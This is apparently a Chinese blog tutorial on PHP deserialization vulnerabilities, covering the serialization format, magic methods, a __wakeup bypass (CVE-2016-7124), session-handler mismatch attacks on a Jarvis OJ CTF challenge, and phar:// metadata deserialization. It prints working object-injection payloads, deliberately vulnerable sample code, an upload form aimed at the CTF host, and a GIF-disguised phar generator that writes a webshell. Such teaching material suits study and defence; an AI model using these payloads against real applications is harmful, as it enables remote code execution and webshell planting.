简析反序列化漏洞

php反序列化漏洞,又叫php对象注入漏洞。

序列化与反序列化

php中两个函数serialze()和unserialize()。

serialize

serialize()函数是将传入的参数转换为字符串,以便方便传递和使用。
测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
var $name = 'hello world';
var $score = 97;
var $id = "161830218";
var $etc = [1=>"new test",'a'=>'test'];
}
$class = new test;
$class_ser = serialize($class);
print_r($class);
echo "\n";
var_dump($class);
echo "\n";
print_r($class_ser);
echo "\n";
var_dump($class_ser);
?>

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
test Object
(
[name] => hello world
[score] => 97
[id] => 161830218
[etc] => Array
(
[1] => new test
[a] => test
)

)

object(test)#1 (4) {
["name"]=>
string(11) "hello world"
["score"]=>
int(97)
["id"]=>
string(9) "161830218"
["etc"]=>
array(2) {
[1]=>
string(8) "new test"
["a"]=>
string(4) "test"
}
}

O:4:"test":4:{s:4:"name";s:11:"hello world";s:5:"score";i:97;s:2:"id";s:9:"161830218";s:3:"etc";a:2:{i:1;s:8:"new test";s:1:"a";s:4:"test";}}
string(141) "O:4:"test":4:{s:4:"name";s:11:"hello world";s:5:"score";i:97;s:2:"id";s:9:"161830218";s:3:"etc";a:2:{i:1;s:8:"new test";s:1:"a";s:4:"test";}}"

这里的O代表存储的是对象(object),4表示对象的名称有4个字符。”test”表示对象的名称。之后的类似。a代表传入的是一个数组 。2表示有两个个值。{i:1;s:8:”new test”;s:1:”a”;s:4:”test”;}中,i表示整型,s表示字符串,8表示该字符串的长度,”new test”为字符串的值。
其中常见的数据类型对应的字母标识如下

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - non-escaped binary string
S - escaped binary string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

成员修饰符

成员修饰符有privateprotectedpublic,当序列化含有修饰符属性的类时,每个修饰符序列化后的字符串是不同的
测试代码:

1
2
3
4
5
6
7
8
9
<?php
class test{
private $a;
public $b;
protected $c;
}
$d=new test();
echo serialize($d);
?>

测试结果:

1
2
3
4
5
O:4:"test":3:{s:7:" test a";N;s:1:"b";N;s:4:" * c";N;}
//由此可得
//private属性序列化后:数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:"属性值";
//protected属性序列化后:数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:"属性值";
//public属性序列化后:数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值";

unserialize

unserialize则是将serialize的过程反过来
测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
var $name = 'hello world';
var $score = 97;
var $id = "161830218";
var $etc = [1=>"new test",'a'=>'test'];
}
$class_ser = 'O:4:"test":4:{s:4:"name";s:11:"hello world";s:5:"score";i:97;s:2:"id";s:9:"161830218";s:3:"etc";a:2:{i:1;s:8:"new test";s:1:"a";s:4:"test";}}';
$class = unserialize($class_ser);
print_r($class);
echo "\n";
var_dump($class);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
test Object
(
[name] => hello world
[score] => 97
[id] => 161830218
[etc] => Array
(
[1] => new test
[a] => test
)

)

object(test)#1 (4) {
["name"]=>
string(11) "hello world"
["score"]=>
int(97)
["id"]=>
string(9) "161830218"
["etc"]=>
array(2) {
[1]=>
string(8) "new test"
["a"]=>
string(4) "test"
}
}

在没有声明类的情况下
测试代码:

1
2
3
4
5
6
7
<?php
$class_ser = 'O:4:"test":4:{s:4:"name";s:11:"hello world";s:5:"score";i:97;s:2:"id";s:9:"161830218";s:3:"etc";a:2:{i:1;s:8:"new test";s:1:"a";s:4:"test";}}';
$class = unserialize($class_ser);
print_r($class);
echo "\n";
var_dump($class);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => test
[name] => hello world
[score] => 97
[id] => 161830218
[etc] => Array
(
[1] => new test
[a] => test
)

)

object(__PHP_Incomplete_Class)#1 (5) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
["name"]=>
string(11) "hello world"
["score"]=>
int(97)
["id"]=>
string(9) "161830218"
["etc"]=>
array(2) {
[1]=>
string(8) "new test"
["a"]=>
string(4) "test"
}
}

反序列化漏洞

当使用unserialize()将字符串恢复成对象时,将调用对象的__wakeup()或者其他魔术函数。如果_wakeup函数中有操作是利用了我们传入的参数,则很有可能我们可以利用它。

魔术函数(Magic function)

php中有一类特殊的方法叫“Magic function”,有但不仅有以下几个:
construct()//创建对象时触发 destruct() //对象被销毁时触发
call() //在对象上下文中调用不可访问的方法时触发 callStatic() //在静态上下文中调用不可访问的方法时触发
get() //用于从不可访问的属性读取数据 set() //用于将数据写入不可访问的属性
isset() //在不可访问的属性上调用isset()或empty()触发 unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

  1. __sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

  1. __wakeup()

unserialize() 会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

  1. __toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误

利用场景

unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。所以我们利用此来构造我们的payload。
测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class chybeta{
var $test = '123';
function __wakeup()
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
?>
1
payload ?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

执行结果:
test

实战

绕过__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString()
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->

分析源码可知,destruct方法中show_source(dirname (FILE__).’/‘.$this ->file);会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是wakeup会在unserialize之前执行,所以要绕过这一点。
这里要用到CVE-2016-7124漏洞(影响版本PHP5 < 5.6.25 PHP7 < 7.0.10),当`序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过
wakeup的执行`。
构造序列化对象:O:5:”SoFun”:1:{S:7:”\00\00file”;s:8:”flag.php”;}
绕过__wakeup:O:5:”SoFun”:2:{S:7:”\00
\00file”;s:8:”flag.php”;}

session反序列化漏洞

简介

首先我们需要了解session反序列化是什么?
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化
在php.ini中有以下配置项,wamp的默认配置如图
test
test

session.save_path 设置session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php
除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

存储机制

php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。
来测试一个demo

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = 'twosmi1e';
?>

运行后在session.save_path所对应的文件夹中就会生成一个session文件
内容是:
当存储引擎为php时:

1
name|s:8:"twosmi1e";

当存储引擎为php_binary时:
操作/不可见字符为:EOT

test

当存储引擎为php_serialize时:

1
a:1:{s:4:"name";s:8:"twosmi1e";}

三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患。

例题

Jarvisoj Web

http://web.jarvisoj.com:32784/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

先GET传参?phpinfo=1,得到phpinfo()信息
php版本:5.6.21,php大于5.5.4的版本默认使用php_serialize规则
默认为php_serialize而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
题目中并没有直接调用Oowo类,而且__construct函数也不会在反序列化时执行,这也就要让我们想办法实例化一个Oowo对象。而序列化格式冲突恰巧能够实现这一要求。
利用如下php生成payload:

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz='print_r(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);

构造payload(在基础上加|):

1
|O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}

而将字符串上传至靶机session时(payload=|O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}),php会按照phpseralize方式将它再一次序列化成

1
a:1:{s:7:"payload";s:63:"|O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}";}

而当我们访问index.php时,它会以php的方式反序列化该字符串,而|在php序列化中代表分隔符,它会将|后的值当作KEY值再serialize(),相当于我们实例化了这个页面的OowoO类,等同于执行了:

1
2
$_SESSION['payload'] = new OowoO();
$_SESSION['payload']->mdzz = "print_r(dirname(__FILE__));";

那我们如何传值到SESSION里面呢?
这就需要用到session.upload_progress.enabled特性,而通过查看PHPinfo,我们发现这一设置是开着的。

PHP手册
Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在\$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
也就是我们可以通过POST方法构造payload传入$_SESSION

构造payload表单

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="paylaod" />
<input type="submit" />
</form>

注意需要转义,抓包把filename改为payload
最终提交为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
test
继续修改命令,尝试
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
test
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
test

phar伪协议触发php反序列化

phar://协议

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。
例如常见的

1
2
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种

phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

phar原理

a stub

可以理解为一个标志,格式为xxx<?php xxx;HALT_COMPILER();?>,前面内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

漏洞分析

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
test
由此可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数的参数可控时,我们可以利用phar伪协议,不依赖unserialize()进行反序列化操作。

漏洞测试

编写一个文件上传脚本,只允许用户上传gif文件;再编写一个操作函数的页面。
前端

1
2
3
4
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" name="submit">
</form>

后端
upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*返回后缀名函数*/
function getExt($filename){
return substr($filename,strripos($filename,'.')+1);
}

/*检测MIME类型是否为gif*/
if($_FILES['filename']['type'] != "image/gif"){
echo "Not allowed !";
exit;
}
else{
$filenameExt = strtolower(getExt($_FILES['filename']['name'])); /*提取后缀名*/

if($filenameExt != 'gif'){
echo "Not gif !";
}
else{
move_uploaded_file($_FILES['filename']['tmp_name'], $_FILES['filename']['name']);
echo "Successfully!";
}
}
?>

reapperance.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$recieve = $_GET['recieve'];

/*写入文件类操作*/
class not_useful{
var $file;

function __destruct(){
$fp = fopen("shell.php","w"); //自定义写入路径
fputs($fp,$this->file);
fclose($fp);
}
}

file_get_contents($recieve);

?>

当然这个脚本还有其他的绕过方法,这里只是以此举个phar例子。
分析题目可知,我们可控的地方是一个上传和一个读文件内容,看上去这两个地方并没有办法获取shell,但题目中reappearance.php中有个写入文件的类,如果我们可以变样的让后端解析关于not_useful的序列化字符串,就可以修改shell.php内容,进而获得webshell。
所以上传一个phar文件,再通过receive变量调用它就行了。

0x01上传phar文件

利用php编写一个生成phar文件的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class not_useful{
var $file = "<?php phpinfo() ?>";
}
@unlink("test.phar");
$test = new not_useful();
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");

$phar->stopBuffering();
?>

生成后的phar如图所示

test

0x02包含phar

通过php伪协议调用payload
?recieve=phar://test.gif/test.txt

访问shell.php成功执行

test

并不只有file_get_contents这个函数可以利用,还有如下可利用的文件操作函数
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

参考博客

https://xz.aliyun.com/t/3674

四个实例递进php反序列化漏洞理解

PHP反序列化进阶学习与总结

初探phar://